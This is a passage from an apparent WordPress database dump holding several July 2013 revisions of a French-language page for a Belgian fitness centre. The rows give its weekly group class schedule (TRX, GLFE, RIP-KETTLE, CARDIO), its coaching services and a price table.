la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:03:14', '2013-07-03 18:03:14', '', 11, 'http://www.crosstrainingcenter.be/?p=207', 0, 'revision', '', 0),
(208, 1, '2013-07-03 18:04:14', '2013-07-03 18:04:14', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n&lt;br&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:04:14', '2013-07-03 18:04:14', '', 11, 'http://www.crosstrainingcenter.be/?p=208', 0, 'revision', '', 0),
(209, 1, '2013-07-03 18:12:19', '2013-07-03 18:12:19', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:12:19', '2013-07-03 18:12:19', '', 11, 'http://www.crosstrainingcenter.be/?p=209', 0, 'revision', '', 0),
(210, 1, '2013-07-03 18:13:02', '2013-07-03 18:13:02', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:13:02', '2013-07-03 18:13:02', '', 11, 